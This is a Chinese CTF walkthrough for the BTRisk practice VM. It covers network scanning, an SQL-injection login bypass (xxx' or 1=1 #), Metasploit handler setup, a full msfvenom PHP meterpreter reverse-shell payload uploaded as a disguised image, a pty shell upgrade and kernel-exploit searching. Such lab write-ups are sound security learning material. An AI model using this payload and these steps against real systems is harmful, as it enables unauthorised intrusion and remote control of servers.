CTF 靶场之BTRisk通关笔记

前置工作:

安装 VMware Workstation,kali Linux ,搭建或下载BTRisk靶场,如果是下载的靶场不知道密码,可以配置net模式,然后通过arp-scan整个网段获取目标机器的IP地址

sudo arp-scan 192.168.92.0/24

1.信息收集&漏洞扫描

kali IP:192.168.92.131

靶机 IP:192.168.92.130

利用kali的nmap扫描工具进行端口扫描:

nmap -sV 192.168.92.130

使用的是Ubuntu系统,开启了FTP文件上传服务,ssh远程连接服务看看他们使用的版本有没有漏洞:

显示开启了http服务,尝试通过浏览器打开网页

点了两下,没有可用信息,但是这个页面提到了数据库,可以合理推断可能有sql注入漏洞,使用目录扫描工具进行扫描,这里我用的是御剑扫描:

这里看到了三个可疑目录,尝试后可以看到/uploads/存储上传的文件的地方,/login.php 是一个登录的页面,/config.php啥也没有

2.漏洞利用:

经过信息收集和漏洞扫描阶段,我们可以得知该系统存在文件上传漏洞,可能存在sql注入漏洞,接下来我们尝试登录弱口令admin/admin显示数据无效,看看页面源代码有没有线索:

这里的意思是密码中不能带有单引号,账号必须为btrisk.com结尾

使用户名为“xxx@btrisk.com”,密码任意进行登录,发现可以成功登陆,但是页面没有任何可用的内容

但是这里有报错的回显点,所以可能存在报错注入,进行sql注入尝试,将登录密码修改成

xxx' or 1=1 #

成功登录,页面上有一个文件上传功能

在漏洞扫描阶段我们知道了他是肯定有文件上传漏洞的,尝试用一句话木马和短标签绕过,失败。

使用msf监听模块

再利用msfconsole进行监听;

use exploit/multi/handler

set payload php/meterpreter/reverse_tcp

set lhost 192.168.188.135  本地kali地址

set lport 4444 

run

用接下来另外开个终端,利用msfvenom生成webshell

msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.92.132 lport=4444 -f raw
/*<?php /**/ error_reporting(0); $ip = '192.168.92.131'; $port = 4444; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();

生成图片马中,然后上传,然后1.png改成1.php,放行

上传成功,使用msf连接(这里看上传成功没有的目录是/uploads/)

然后返回msfconsole终端:run,然后双击文件

3.提升权限

先进入命令行

shell

让界面更加美观:

python -c "import pty;pty.spawn('/bin/bash')"

3.1尝试内核溢出提权

第一步:查看目标系统的相关信息

uname -a #查看内核/操作系统/cpu信息

cat /proc/version #查看系统信息

cat /etc/issue #查看操作系统版本

lsb_release -a #查询系统版本等信息

找到了,然后打开searchsploit,寻找对应的exp,

searchsploit Ubuntu 14.04.1  

searchsploit -x linux/local/41760.txt

回到目标主机,下载41760.txt,下载不了,但ping得通,不知道为啥,有没有大佬提点一下

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值